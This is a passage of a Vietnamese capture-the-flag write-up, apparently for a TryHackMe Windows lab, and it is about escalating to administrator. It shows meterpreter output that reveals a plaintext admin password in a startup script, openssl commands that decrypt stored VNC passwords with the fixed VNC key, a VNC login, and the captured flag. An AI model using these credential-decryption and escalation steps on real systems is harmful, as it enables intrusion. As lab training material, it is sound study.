EnableUnicodeInput=0
EnableWin8Helper=0
kickrdp=0
clearconsole=0
[admin_auth]
group1=
group2=
group3=
locdom1=0
locdom2=0
locdom3=0
[poll]
TurboMode=1
PollUnderCursor=0
PollForeground=0
PollFullScreen=1
OnlyPollConsole=0
OnlyPollOnEvent=0
MaxCpu=40
EnableDriver=0
EnableHook=1
EnableVirtual=0
SingleWindow=0
SingleWindowName=
meterpreter > cat startup.bat
@ECHO OFF
REM START UP SCRIPT
C:\xampp\xampp-control.exe
ping 127.0.0.1
"c:\Program Files\Mozilla Firefox\firefox.exe" --kiosk http://127.0.0.1administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCiTại đây, chúng ta tìm thấy credentials của administrator, cùng với 2 password cho dịch vụ VNC. Dựa theo kỹ thuật giải mã được mô tả ở đây: https://github.com/billchaison/VNCDecrypt, chúng ta giải mã thành công password đầu tiên thành 5upp0rt9.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo -n B3A8F2D8BEA2F1FA70 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
bad decrypt
4007A90D397F0000:error:1C80006B:Provider routines:ossl_cipher_generic_block_final:wrong final block length:../providers/implementations/ciphers/ciphercommon.c:468:
00000000 35 75 70 70 30 72 74 39 |5upp0rt9|
00000008
┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo -n 5AB2CDC0BADCAF13F1 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
bad decrypt
4027EEFB947F0000:error:1C80006B:Provider routines:ossl_cipher_generic_block_final:wrong final block length:../providers/implementations/ciphers/ciphercommon.c:468:
00000000 00 00 00 00 00 00 00 00 |........|
00000008VNC Connection as administrator
Với password VNC mà chúng ta đã giải mã được, chúng ta có thể dùng Remmina để thiết lập kết nối thông qua giao thức VNC.


Sau đó, mở PowerShell dưới quyền administrator và nhập password admin mà chúng ta tìm thấy trước đó.


Chúng ta đã thành công chiếm được quyền SYSTEM trên target.
admin_flag.txt

PS C:\Users\Administrator\Desktop> cat admin_flag.txt
thm{p455w02d_c4n_83_f0und_1n_p141n_73x7_4dm1n_5c21p75}Ngoài ra, ta thấy kết nối VNC khá chậm và lag, mất gần 5 phút chỉ để mở được PowerShell. Vì vậy, chúng ta có thể thử dùng impacket-psexec để có một shell connection ổn định hơn. Nhưng cần lưu ý, nhiều khả năng phương pháp này sẽ không hoạt động do Windows Defender đang được bật.
